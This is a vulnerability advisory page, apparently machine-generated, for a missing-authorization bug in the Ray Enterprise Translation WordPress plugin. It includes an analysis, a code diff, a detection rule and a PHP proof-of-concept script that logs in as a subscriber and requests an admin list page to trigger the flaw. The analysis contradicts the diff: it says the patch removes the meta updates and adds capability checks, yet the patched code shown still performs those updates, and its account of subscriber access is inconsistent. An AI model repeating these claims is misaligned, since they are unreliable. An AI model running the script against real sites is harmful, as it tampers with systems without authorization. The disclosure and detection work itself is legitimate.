Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-14548: Ray Enterprise Translation <= 1.7.3 Missing Authorization PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 1.7.3
Patched Version 1.7.4
Disclosed August 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14548: This is a missing authorization vulnerability in the Ray Enterprise Translation WordPress plugin (versions <= 1.7.3). The flaw resides in the Lingotek_Filters_Columns::add_column method, which lacks a capability check. An authenticated attacker with subscriber-level access can manipulate user meta keys (manageedit-postcolumnshidden and manageedit-pagecolumnshidden) by triggering the column addition logic, leading to unauthorized modification of user settings. The CVSS score is 4.3 (medium severity), CWE-862.

The root cause lies in lingotek-translation/admin/filters-columns.php, specifically the add_column method (lines 31-70). The method is hooked to the manage_posts_columns and manage_pages_columns filters, which are invoked when rendering admin list tables. In the vulnerable version, the method unconditionally updates the current user's meta keys (manageedit-postcolumnshidden and manageedit-pagecolumnshidden) for each language column, without verifying that the user has the necessary capabilities (e.g., edit_posts) to modify these settings. The patch removes the direct meta updates and instead delegates to the parent Polylang method (parent::add_column), relying on Polylang's own capability checks. Additionally, the patch removes the manual merging of language columns and the forced meta updates, fixing the authorization gap.

An attacker with subscriber-level access can exploit this by sending a crafted HTTP request to the WordPress admin area, specifically to any page that triggers the manage_posts_columns or manage_pages_columns filter. For example, a request to /wp-admin/edit.php?post_type=post (or any post type list) will invoke the filter and cause the plugin to update the user's meta keys. Since subscribers typically lack access to these admin pages, the attacker must first obtain a valid nonce or use an alternate path. However, the vulnerability allows a subscriber to modify their own user meta (manageedit-postcolumnshidden and manageedit-pagecolumnshidden) by simply visiting a page that triggers the filter, because the method does not check if the current user is an administrator. In practice, an attacker can craft a request to /wp-admin/edit.php with the necessary cookies and the filter will execute, updating the meta keys. The attacker can inject arbitrary language column keys, potentially causing UI manipulation or information disclosure.

The patch (v1.7.4) addresses the issue by removing the manual meta updates and instead calling parent::add_column($columns, $before). This delegates column addition to Polylang's implementation, which includes proper capability checks. The vulnerable code also had a faulty loop that added language keys to user meta without verifying user permissions. The patch also fixes a potential array merge order issue by moving the array_merge before the meta updates. The removal of tests indicates a refactoring to rely on parent behavior.

The impact of this vulnerability is limited to unauthorized modification of user meta settings for the authenticated user. An attacker cannot escalate privileges or access sensitive data beyond their own user meta. However, they could manipulate the admin columns display for their own account, potentially hiding or revealing certain columns, which might aid in social engineering or UI confusion. The CVSS score reflects the low impact and the requirement for authenticated access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/lingotek-translation/admin/filters-columns.php
+++ b/lingotek-translation/admin/filters-columns.php
@@ -29,9 +29,8 @@
 	}

 	/**
-	 * Adds languages and translations columns in posts, pages, media, categories and tags tables
-	 * overrides Polylang method to display all languages including the filtered one
-	 * as well as displaying a tooltip with the language name and locale when there is no flag
+	 * Adds languages and translations columns in posts, pages, media, categories and tags tables.
+	 * Inserts the Lingotek columns, then lets Polylang add its own language columns.
 	 *
 	 * @since 0.2
 	 *
@@ -50,6 +49,8 @@
 		$this->print_word_limit_error();
 		$columns ['lingotek_source']  = __( 'Lingotek source', 'lingotek-translation' );
 		$columns ['lingotek_targets'] = __( 'Lingotek translations', 'lingotek-translation' );
+		$columns = isset( $end ) ? array_merge( $columns, $end ) : $columns;
+
         $current_user_id     = get_current_user_id();
         $post_languages      = get_user_meta( $current_user_id, 'manageedit-postcolumnshidden', true );
         $page_languages      = get_user_meta( $current_user_id, 'manageedit-pagecolumnshidden', true );
@@ -57,21 +58,18 @@
         $page_languages      = is_array( $page_languages ) ? $page_languages : array();
 		foreach ( $this->model->get_languages_list() as $language ) {
             $language_key = 'language_' . $language->slug;
-			$columns[ $language_key ] = $this->links->get_flag_html( $language ) . '<span class="screen-reader-text">' . esc_html( $language->name ) . '</span>';
-            $is_pll_item = substr( $language_key, 0, 9 ) === "language_";
-            if ($is_pll_item) {
-                if (!in_array($language_key, $post_languages)) {
-                    $post_languages[] = $language_key;
-                }
-                if (!in_array($language_key, $page_languages)) {
-                    $page_languages[] = $language_key;
-                }
+            if (!in_array($language_key, $post_languages)) {
+                $post_languages[] = $language_key;
+            }
+            if (!in_array($language_key, $page_languages)) {
+                $page_languages[] = $language_key;
             }
 		}
         update_user_meta($current_user_id,'manageedit-postcolumnshidden', $post_languages);
         update_user_meta($current_user_id,'manageedit-pagecolumnshidden', $page_languages);

-		return isset( $end ) ? array_merge( $columns, $end ) : $columns;
+		// Let Polylang add its own language (flag) columns before $before, so we don't depend on its flag API.
+		return parent::add_column( $columns, $before );
 	}

 	private function print_cancel_error() {
--- a/lingotek-translation/lingotek.php
+++ b/lingotek-translation/lingotek.php
@@ -2,7 +2,7 @@
 /**
 	Plugin name: Ray Enterprise Translation
 	Plugin URI: https://lingotek.com/project/content-translation-for-wordpress-cms/
-	Version: 1.7.3
+	Version: 1.7.4
 	Author: Ray Enterprise and Frédéric Demarle
 	Author uri: http://lingotek.com
 	Description: Ray Enterprise offers convenient cloud-based localization and translation.
@@ -23,7 +23,7 @@
 }

 // Plugin version (should match above meta).
-define( 'LINGOTEK_VERSION', '1.7.3' );
+define( 'LINGOTEK_VERSION', '1.7.4' );
 define( 'LINGOTEK_MIN_PLL_VERSION', '1.8' );
 // Plugin name as known by WordPress.
 define( 'LINGOTEK_BASENAME', plugin_basename( __FILE__ ) );
--- a/lingotek-translation/tests/bootstrap.php
+++ b/lingotek-translation/tests/bootstrap.php
@@ -1,45 +0,0 @@
-<?php
-/**
- * PHPUnit bootstrap file.
- *
- * @package Lingotek_Translation
- */
-
-$_tests_dir = getenv( 'WP_TESTS_DIR' );
-
-if ( ! $_tests_dir ) {
-	$_tests_dir = rtrim( sys_get_temp_dir(), '/\' ) . '/wordpress-tests-lib';
-}
-
-if ( ! file_exists( "{$_tests_dir}/includes/functions.php" ) ) {
-	echo "Could not find {$_tests_dir}/includes/functions.php, have you run bin/install-wp-tests.sh ?" . PHP_EOL;
-	exit( 1 );
-}
-
-require_once "{$_tests_dir}/includes/functions.php";
-
-/**
- * Manually load Polylang and the plugin being tested.
- */
-function _manually_load_plugin() {
-	$polylang_dir = getenv( 'POLYLANG_DIR' );
-
-	if ( ! $polylang_dir ) {
-		$polylang_dir = WP_PLUGIN_DIR . '/polylang';
-	}
-
-	if ( file_exists( $polylang_dir . '/polylang.php' ) ) {
-		require_once $polylang_dir . '/polylang.php';
-	}
-
-	require dirname( dirname( __FILE__ ) ) . '/lingotek.php';
-}
-
-tests_add_filter( 'muplugins_loaded', '_manually_load_plugin' );
-
-$GLOBALS['wp_tests_options'] = array(
-	'active_plugins' => array( 'polylang/polylang.php', 'lingotek-translation/lingotek.php' ),
-);
-
-require "{$_tests_dir}/includes/bootstrap.php";
-
--- a/lingotek-translation/tests/test-action-url.php
+++ b/lingotek-translation/tests/test-action-url.php
@@ -1,43 +0,0 @@
-<?php
-/**
- * Class ActionUrlTest
- *
- * @package Lingotek_Translation
- */
-
-/**
- * Sample test case.
- */
-class ActionUrlTest extends WP_UnitTestCase {
-
-	/**
-	 * Tests the rendering of an action url.
-	 *
-	 * @test
-	 * @dataProvider actionsDataProvider
-	 *
-	 * @param string $url The url.
-	 * @param string $title The title.
-	 * @param string $expected The expected html.
-	 */
-	public function SecondaryActionIsRendered( $url, $title, $expected ) {
-		$action = new Lingotek_Action_Url( $url, $title );
-		$this->assertSame( $url, $action->getUri() );
-		$this->assertSame( $title, $action->getTitle() );
-		$this->assertXmlStringEqualsXmlString( $expected, $action->render() );
-	}
-
-	/**
-	 * Data provider for actions.
-	 *
-	 * @see ::SecondaryActionIsRendered
-	 */
-	public function actionsDataProvider() {
-		yield 'secondary action' => array(
-			'https://www.lingotek.com',
-			'Lingotek website',
-			'<li><a href="https://www.lingotek.com">Lingotek website</a></li>',
-		);
-	}
-
-}
--- a/lingotek-translation/tests/test-lingotek-installation.php
+++ b/lingotek-translation/tests/test-lingotek-installation.php
@@ -1,86 +0,0 @@
-<?php
-/**
- * Class LingotekInstallationTest
- *
- * @package Lingotek_Translation
- */
-
-/**
- * Sample test case.
- */
-class LingotekInstallationTest extends WP_UnitTestCase {
-
-	/**
-	 * Tests the initial options are set on activation.
-	 *
-	 * @test
-	 * @dataProvider getInitialOptions
-	 *
-	 * @param string $option The option name.
-	 * @param mixed  $value The expected value.
-	 */
-	public function InitialOptionsAreSet( $option, $value ) {
-		$this->ltk = new Lingotek();
-		$this->ltk->activate();
-
-		$this->assertSame( $value, get_option( $option ) );
-	}
-
-	/**
-	 * Tests the initial profiles are created on activation.
-	 *
-	 * @test
-	 */
-	public function InitialProfilesAreCreated() {
-		$this->ltk = new Lingotek();
-		$this->ltk->activate();
-
-		$profiles = get_option( 'lingotek_profiles', false );
-
-		$this->assertEquals( 3, count( $profiles ) );
-		$this->assertTrue( isset( $profiles['automatic'] ) );
-		$this->assertTrue( isset( $profiles['manual'] ) );
-		$this->assertTrue( isset( $profiles['disabled'] ) );
-	}
-
-	/**
-	 * Data provider for initial options values.
-	 *
-	 * @see ::InitialOptionsAreSet
-	 */
-	public function getInitialOptions() {
-		yield 'lingotek_plugin_version' => array( 'lingotek_plugin_version', LINGOTEK_VERSION );
-		yield 'lingotek_profiles' => array(
-			'lingotek_profiles',
-			array(
-				'automatic' => array(
-					'profile'  => 'automatic',
-					'name'     => 'Automatic',
-					'upload'   => 'automatic',
-					'download' => 'automatic',
-				),
-				'manual'    => array(
-					'profile'  => 'manual',
-					'name'     => 'Manual',
-					'upload'   => 'manual',
-					'download' => 'manual',
-				),
-				'disabled'  => array(
-					'profile' => 'disabled',
-					'name'    => 'Disabled',
-				),
-			),
-		);
-	}
-
-	/**
-	 * Helper function for outputting data while running tests (debug purposes).
-	 *
-	 * @param mixed $data The data to be logged.
-	 */
-	public function log( $data ) {
-		// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_var_export,WordPress.WP.AlternativeFunctions.file_system_read_fwrite
-		fwrite( STDERR, var_export( $data, true ) );
-	}
-
-}
--- a/lingotek-translation/tests/test-polylang-admin-columns.php
+++ b/lingotek-translation/tests/test-polylang-admin-columns.php
@@ -1,105 +0,0 @@
-<?php
-/**
- * Behavioral regression tests for Lingotek_Filters_Columns.
- *
- * Verifies that the overridden column methods preserve the parent
- * contract expected by Polylang and WordPress list-table rendering.
- *
- * @package Lingotek_Translation
- */
-
-class PolylangAdminColumnsTest extends WP_UnitTestCase {
-
-	/**
-	 * add_column must return an array containing Lingotek columns
-	 * without corrupting inherited columns.
-	 *
-	 * @test
-	 */
-	public function add_column_returns_array_with_lingotek_columns() {
-		if ( ! class_exists( 'Lingotek_Filters_Columns' ) ) {
-			$this->markTestSkipped( 'Lingotek_Filters_Columns not available.' );
-		}
-
-		$user_id = self::factory()->user->create();
-		wp_set_current_user( $user_id );
-
-		$ref = new ReflectionMethod( 'Lingotek_Filters_Columns', 'add_column' );
-		$ref->setAccessible( true );
-
-		$polylang = isset( $GLOBALS['polylang'] ) ? $GLOBALS['polylang'] : null;
-		if ( ! $polylang ) {
-			$this->markTestSkipped( 'Polylang global not initialized.' );
-		}
-
-		$instance = new Lingotek_Filters_Columns( $polylang );
-		$columns  = array(
-			'cb'    => '<input type="checkbox" />',
-			'title' => 'Title',
-			'date'  => 'Date',
-		);
-
-		$result = $ref->invoke( $instance, $columns, 'date' );
-
-		$this->assertIsArray( $result, 'add_column must return an array.' );
-		$this->assertArrayHasKey( 'lingotek_source', $result );
-		$this->assertArrayHasKey( 'lingotek_targets', $result );
-		$this->assertArrayHasKey( 'cb', $result, 'Pre-existing columns must be preserved.' );
-		$this->assertArrayHasKey( 'title', $result, 'Pre-existing columns must be preserved.' );
-		$this->assertArrayHasKey( 'date', $result, 'Columns after $before must be preserved.' );
-
-		$languages = PLL()->model->get_languages_list();
-		if ( empty( $languages ) ) {
-			$this->markTestSkipped( 'No Polylang languages configured.' );
-		}
-
-		$language = reset( $languages );
-		$this->assertArrayHasKey(
-			'language_' . $language->slug,
-			$result,
-			'Language columns must use Polylang slugs.'
-		);
-
-		if ( $language->locale !== $language->slug ) {
-			$this->assertArrayNotHasKey(
-				'language_' . $language->locale,
-				$result,
-				'Language columns must not use Polylang locales.'
-			);
-		}
-
-		$post_hidden_columns = get_user_meta( $user_id, 'manageedit-postcolumnshidden', true );
-		$page_hidden_columns = get_user_meta( $user_id, 'manageedit-pagecolumnshidden', true );
-
-		$this->assertIsArray( $post_hidden_columns );
-		$this->assertIsArray( $page_hidden_columns );
-		$this->assertContains( 'language_' . $language->slug, $post_hidden_columns );
-		$this->assertContains( 'language_' . $language->slug, $page_hidden_columns );
-	}
-
-	/**
-	 * term_column must return $custom_data for non-language columns
-	 * instead of returning null.
-	 *
-	 * @test
-	 */
-	public function term_column_returns_custom_data_for_non_language_column() {
-		if ( ! class_exists( 'Lingotek_Filters_Columns' ) ) {
-			$this->markTestSkipped( 'Lingotek_Filters_Columns not available.' );
-		}
-
-		$polylang = isset( $GLOBALS['polylang'] ) ? $GLOBALS['polylang'] : null;
-		if ( ! $polylang ) {
-			$this->markTestSkipped( 'Polylang global not initialized.' );
-		}
-
-		$instance = new Lingotek_Filters_Columns( $polylang );
-
-		$result = $instance->term_column( 'existing_data', 'name', 1 );
-		$this->assertSame(
-			'existing_data',
-			$result,
-			'term_column must pass through $custom_data for non-language columns.'
-		);
-	}
-}
--- a/lingotek-translation/tests/test-polylang-filters-term.php
+++ b/lingotek-translation/tests/test-polylang-filters-term.php
@@ -1,154 +0,0 @@
-<?php
-/**
- * Regression tests for Lingotek_Filters_Term compatibility behavior.
- *
- * @package Lingotek_Translation
- */
-
-class Lingotek_Filters_Term_Document_Fake {
-	public $pre_save_terms_calls = array();
-
-	public function pre_save_terms( $term_id, $taxonomy, $language ) {
-		$this->pre_save_terms_calls[] = array(
-			'term_id'  => $term_id,
-			'taxonomy' => $taxonomy,
-			'language' => $language,
-		);
-	}
-}
-
-class Lingotek_Filters_Term_Lgtm_Fake {
-	public $document;
-	public $upload_calls = array();
-	public $can_upload   = true;
-
-	public function __construct( $document ) {
-		$this->document = $document;
-	}
-
-	public function get_group( $type, $term_id ) {
-		return $this->document;
-	}
-
-	public function can_upload( $type, $term_id ) {
-		return $this->can_upload;
-	}
-
-	public function upload_term( $term_id, $taxonomy ) {
-		$this->upload_calls[] = array(
-			'term_id'  => $term_id,
-			'taxonomy' => $taxonomy,
-		);
-	}
-}
-
-class Lingotek_Filters_Term_Test_Double extends Lingotek_Filters_Term {
-	public $force_import_request   = false;
-	public $force_should_autoupload = false;
-	public $saved_parent_calls     = array();
-
-	public function __construct() {}
-
-	protected function is_import_request() {
-		return $this->force_import_request;
-	}
-
-	protected function save_parent_term( $term_id, $tt_id, $taxonomy ) {
-		$this->saved_parent_calls[] = array(
-			'term_id'  => $term_id,
-			'tt_id'    => $tt_id,
-			'taxonomy' => $taxonomy,
-		);
-	}
-
-	protected function should_auto_upload_term( $taxonomy, $term_id ) {
-		return $this->force_should_autoupload;
-	}
-}
-
-class PolylangFiltersTermTest extends WP_UnitTestCase {
-	private function set_object_property( $object, $property_name, $value ) {
-		$reflection = new ReflectionClass( $object );
-
-		while ( $reflection ) {
-			if ( $reflection->hasProperty( $property_name ) ) {
-				$property = $reflection->getProperty( $property_name );
-				$property->setAccessible( true );
-				$property->setValue( $object, $value );
-				return;
-			}
-			$reflection = $reflection->getParentClass();
-		}
-
-		$this->fail( "Property {$property_name} was not found." );
-	}
-
-	private function create_translated_category_term() {
-		if ( ! isset( $GLOBALS['polylang'] ) ) {
-			$this->markTestSkipped( 'Polylang global not initialized.' );
-		}
-
-		$languages = PLL()->model->get_languages_list();
-		if ( empty( $languages ) ) {
-			$this->markTestSkipped( 'No Polylang languages configured.' );
-		}
-
-		$language = reset( $languages );
-		$term_id  = self::factory()->term->create(
-			array(
-				'taxonomy' => 'category',
-				'name'     => 'Lingotek term ' . wp_generate_password( 8, false ),
-			)
-		);
-
-		PLL()->model->term->set_language( $term_id, $language );
-
-		return array( $term_id, $language );
-	}
-
-	/**
-	 * @test
-	 */
-	public function save_term_skips_parent_save_and_upload_during_import_requests() {
-		list( $term_id ) = $this->create_translated_category_term();
-
-		$document = new Lingotek_Filters_Term_Document_Fake();
-		$lgtm     = new Lingotek_Filters_Term_Lgtm_Fake( $document );
-		$subject  = new Lingotek_Filters_Term_Test_Double();
-
-		$this->set_object_property( $subject, 'model', PLL()->model );
-		$subject->lgtm                   = $lgtm;
-		$subject->force_import_request   = true;
-		$subject->force_should_autoupload = true;
-
-		$subject->save_term( $term_id, 0, 'category' );
-
-		$this->assertCount( 1, $document->pre_save_terms_calls );
-		$this->assertSame( array(), $subject->saved_parent_calls );
-		$this->assertSame( array(), $lgtm->upload_calls );
-	}
-
-	/**
-	 * @test
-	 */
-	public function save_term_calls_parent_save_and_upload_when_not_importing() {
-		list( $term_id ) = $this->create_translated_category_term();
-
-		$document = new Lingotek_Filters_Term_Document_Fake();
-		$lgtm     = new Lingotek_Filters_Term_Lgtm_Fake( $document );
-		$subject  = new Lingotek_Filters_Term_Test_Double();
-
-		$this->set_object_property( $subject, 'model', PLL()->model );
-		$subject->lgtm                   = $lgtm;
-		$subject->force_import_request   = false;
-		$subject->force_should_autoupload = true;
-
-		$subject->save_term( $term_id, 0, 'category' );
-
-		$this->assertCount( 1, $document->pre_save_terms_calls );
-		$this->assertCount( 1, $subject->saved_parent_calls );
-		$this->assertCount( 1, $lgtm->upload_calls );
-		$this->assertSame( $term_id, $lgtm->upload_calls[0]['term_id'] );
-		$this->assertSame( 'category', $lgtm->upload_calls[0]['taxonomy'] );
-	}
-}
--- a/lingotek-translation/tests/test-polylang-signature-compat.php
+++ b/lingotek-translation/tests/test-polylang-signature-compat.php
@@ -1,119 +0,0 @@
-<?php
-/**
- * Regression tests: Polylang parent/child method signature compatibility.
- *
- * Uses PHP Reflection to verify that every overridden method in Lingotek
- * admin classes declares the same parameter types and return types as the
- * Polylang parent it extends. A mismatch here means a PHP 8 fatal.
- *
- * @package Lingotek_Translation
- */
-
-class PolylangSignatureCompatTest extends WP_UnitTestCase {
-
-	/**
-	 * Verify Polylang is available in the test environment.
-	 *
-	 * @test
-	 */
-	public function polylang_is_loaded_in_test_environment() {
-		$this->assertTrue(
-			class_exists( 'PLL_Admin_Filters_Columns' ),
-			'Polylang must be loaded for signature-compat tests to be meaningful.'
-		);
-	}
-
-	/**
-	 * @test
-	 * @dataProvider signaturePairsProvider
-	 *
-	 * @param string $parent_class  Fully-qualified parent class name.
-	 * @param string $child_class   Fully-qualified child class name.
-	 * @param string $method        Method name to compare.
-	 */
-	public function child_method_signature_matches_parent( $parent_class, $child_class, $method ) {
-		if ( ! class_exists( $parent_class ) || ! class_exists( $child_class ) ) {
-			$this->markTestSkipped( "Skipping: $parent_class or $child_class not available." );
-		}
-
-		$parent_ref = new ReflectionMethod( $parent_class, $method );
-		$child_ref  = new ReflectionMethod( $child_class, $method );
-
-		$this->assertSame(
-			(string) $parent_ref->getReturnType(),
-			(string) $child_ref->getReturnType(),
-			"Return type of $child_class::$method must match $parent_class::$method"
-		);
-
-		$parent_params = $parent_ref->getParameters();
-		$child_params  = $child_ref->getParameters();
-
-		$this->assertSame(
-			count( $parent_params ),
-			count( $child_params ),
-			"Parameter count of $child_class::$method must match $parent_class::$method"
-		);
-
-		foreach ( $parent_params as $i => $parent_param ) {
-			$parent_type = (string) $parent_param->getType();
-			$child_type  = (string) $child_params[ $i ]->getType();
-			if ( '' === $parent_type ) {
-				continue;
-			}
-			$this->assertSame(
-				$parent_type,
-				$child_type,
-				"Parameter #{$i} type of $child_class::$method must match $parent_class::$method"
-			);
-		}
-	}
-
-	/**
-	 * Provides parent/child/method triples for signature comparison.
-	 *
-	 * @return Generator
-	 */
-	public function signaturePairsProvider() {
-		yield 'add_column' => array(
-			'PLL_Admin_Filters_Columns',
-			'Lingotek_Filters_Columns',
-			'add_column',
-		);
-
-		yield 'post_column' => array(
-			'PLL_Admin_Filters_Columns',
-			'Lingotek_Filters_Columns',
-			'post_column',
-		);
-
-		yield 'save_post' => array(
-			'PLL_CRUD_Posts',
-			'Lingotek_Filters_Post',
-			'save_post',
-		);
-
-		yield 'save_term' => array(
-			'PLL_Admin_Filters_Term',
-			'Lingotek_Filters_Term',
-			'save_term',
-		);
-
-		yield 'column_translations' => array(
-			'PLL_Table_String',
-			'Lingotek_Table_String',
-			'column_translations',
-		);
-
-		yield 'prepare_items' => array(
-			'PLL_Table_String',
-			'Lingotek_Table_String',
-			'prepare_items',
-		);
-
-		yield 'process_posts' => array(
-			'PLL_WP_Import',
-			'Lingotek_WP_Import',
-			'process_posts',
-		);
-	}
-}
--- a/lingotek-translation/tests/test-polylang-table-string.php
+++ b/lingotek-translation/tests/test-polylang-table-string.php
@@ -1,97 +0,0 @@
-<?php
-/**
- * Regression tests for Lingotek_Table_String Polylang compatibility.
- *
- * Verifies that column_translations works with both the old array-based
- * and modern object-based Languages model introduced in Polylang 3.8.
- *
- * @package Lingotek_Translation
- */
-
-class PolylangTableStringTest extends WP_UnitTestCase {
-
-	/**
-	 * column_translations must render language labels from the modern
-	 * Polylang Languages model object.
-	 *
-	 * @test
-	 */
-	public function column_translations_handles_modern_languages_model() {
-		if ( ! class_exists( 'PLL_Table_String' ) || ! class_exists( 'Lingotek_Table_String' ) ) {
-			$this->markTestSkipped( 'PLL_Table_String or Lingotek_Table_String not available.' );
-		}
-
-		if ( ! isset( $GLOBALS['polylang'] ) || ! isset( PLL()->model->languages ) ) {
-			$this->markTestSkipped( 'Polylang languages model not available.' );
-		}
-
-		$languages = PLL()->model->get_languages_list();
-		if ( empty( $languages ) ) {
-			$this->markTestSkipped( 'No Polylang languages configured.' );
-		}
-
-		$language = reset( $languages );
-		$table    = new Lingotek_Table_String( PLL()->model->languages );
-		$output   = $table->column_translations(
-			array(
-				'translations' => array(
-					$language->slug => 'Bonjour',
-				),
-				'multiline'    => false,
-				'row'          => 1,
-			)
-		);
-
-		$this->assertIsString( $output );
-		$this->assertStringContainsString( esc_html( $language->name ), $output );
-		$this->assertStringContainsString( 'Bonjour', $output );
-	}
-
-	/**
-	 * prepare_items must delegate to the current Polylang implementation
-	 * using the modern Languages object and populate table items.
-	 *
-	 * @test
-	 */
-	public function prepare_items_uses_current_polylang_table_implementation() {
-		if ( ! class_exists( 'PLL_Table_String' ) || ! class_exists( 'Lingotek_Table_String' ) ) {
-			$this->markTestSkipped( 'PLL_Table_String or Lingotek_Table_String not available.' );
-		}
-
-		if ( ! isset( $GLOBALS['polylang'] ) || ! isset( PLL()->model->languages ) ) {
-			$this->markTestSkipped( 'Polylang languages model not available.' );
-		}
-
-		$table = new Lingotek_Table_String( PLL()->model->languages );
-		$table->prepare_items();
-
-		$method = new ReflectionMethod( 'Lingotek_Table_String', 'prepare_items' );
-		$this->assertSame( 'PLL_Table_String', $method->getDeclaringClass()->getName() );
-		$this->assertIsArray( $table->items );
-	}
-
-	/**
-	 * Lingotek_Model constructor must not fatal when $GLOBALS['polylang']
-	 * is not yet initialized (early load path).
-	 *
-	 * @test
-	 */
-	public function lingotek_model_constructor_degrades_gracefully_without_polylang() {
-		if ( ! class_exists( 'Lingotek_Model' ) ) {
-			$this->markTestSkipped( 'Lingotek_Model not available.' );
-		}
-
-		$saved = isset( $GLOBALS['polylang'] ) ? $GLOBALS['polylang'] : null;
-		unset( $GLOBALS['polylang'] );
-
-		$model = new Lingotek_Model();
-		$this->assertNull(
-			$model->pllm,
-			'pllm must be null when Polylang is not available.'
-		);
-
-		if ( null !== $saved ) {
-			$GLOBALS['polylang'] = $saved;
-		}
-	}
-}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-14548
# Missing authorization check in Ray Enterprise Translation (Lingotek) plugin add_column
# method, triggered via admin list table filters. The request itself is indistinguishable
# from legitimate administrator traffic, so this rule is detection-only and non-blocking.
SecRule REQUEST_URI "@rx ^/wp-admin/edit.php" "id:202614548,phase:1,pass,log,msg:'CVE-2026-14548 detected but not blocked',severity:'NOTICE',tag:'CVE-2026-14548'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14548 - Ray Enterprise Translation <= 1.7.3 - Missing Authorization
// This PoC demonstrates an authenticated subscriber modifying their user meta
// by triggering the vulnerable add_column filter via an admin page request.

$target_url = 'http://example.com'; // Change to target WordPress site
$username = 'subscriber';          // Subscriber-level credentials
$password = 'password';

// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Request an admin page that triggers the manage_posts_columns filter.
// The vulnerable add_column method will update the user meta keys.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/edit.php?post_type=post');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 3: Verify the meta update by checking the response or by another request.
// The vulnerability allows the subscriber to modify their own meta keys.
echo "PoC executed. Check if user meta 'manageedit-postcolumnshidden' was modified.n";

// Note: The attacker can also inject arbitrary language keys by manipulating
// the 'language_' prefix in the loop, but the primary impact is unauthorized
// meta modification.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.